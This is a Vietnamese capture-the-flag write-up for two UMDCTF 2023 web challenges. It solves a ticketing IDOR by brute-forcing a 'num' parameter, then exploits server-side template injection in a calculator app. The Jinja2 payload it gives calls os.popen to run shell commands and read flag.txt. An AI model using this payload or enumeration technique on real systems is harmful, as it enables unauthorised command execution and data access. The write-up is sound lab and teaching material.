---
# System prepended metadata

title: UMDCTF 2023
tags: [CTF]

---

# UMDCTF 2023
---
###### tags: `CTF`
## 1. Terps Ticketing System
***Description: Welcome to the Terps Ticketing System! We're currently giving out tickets for the UMDCTF going on right now. Just enter some information and grab your ticket!***
![](https://i.imgur.com/QkiHuRU.png)
Thử nhập `name` và `email` thì website chuyển hướng đến một `Ticket` ngẫu nhiên
![](https://i.imgur.com/SOvOToS.png)
Đáp vào BurpSuite
![](https://i.imgur.com/0w6xrMX.png)

Website render `Ticket` theo giá trị biến `num` truyền vào nên mình thử Brute Force giá trị của biến `num`. Mình thấy giá trị của `num` không bao giờ vượt quá 1000 nên Brute Force từ 1 đến 1000
![](https://i.imgur.com/Cq8gasB.png)

Payload `num = 0` có độ dài response khá lớn nên mình kiểm tra thử
![](https://i.imgur.com/28HJNpx.png)
Okay Flag = `UMDCTF{d0nt_b3_@n_id0r_@lw@ys_s3cur3_ur_tick3ts}`
## 2. pop calc
![](https://i.imgur.com/dvhu2mb.png)
Website cho một máy tính như trên, ctrl+u để đọc source code
```javascript=
const expressionInput = document.getElementById('expression');

function appendToExpression(value) {
    expressionInput.value += value;
}

function clearExpression() {
    expressionInput.value = '';
}

function calculate() {
    provided = expressionInput.value
    const xhr = new XMLHttpRequest();
            
    xhr.open('POST', '/', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onload = function () {
    expressionInput.value = xhr.responseText
    };
    xhr.onerror = function () {
        expressionInput.value = "[ERROR]"
    };
    xhr.send("calc="+provided);
}
```
Hàm `calculate` sử dụng phương thức `XMLHttpRequest` để POST dữ liệu từ biến `provided` lên server. Ném vào BurpSuite
![](https://i.imgur.com/xKsXW7K.png)

Trông khá quen đúng không, thử thêm dấu `{` xem
![](https://i.imgur.com/jQ4Eqh2.png)

Okay đây là lỗ hổng SSTI. Thử với payload `{{7*'7'}}`
![](https://i.imgur.com/8kR2f1c.png)

Nó hoạt động, vậy có thể xác định được server đang sử dụng `Jinja2` hoặc `Twig`. Thử tìm một vài payload trên [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection), mình tìm được payload sau:
```
{{ namespace.__init__.__globals__.os.popen('ls').read() }}
```
![](https://i.imgur.com/wOaikBL.png)

`cat flag.txt` là done
![](https://i.imgur.com/11GTuqL.png)
Flag = `UMDCTF{wh3n_an_app_giv3s_u_ssti_p0p_calc}`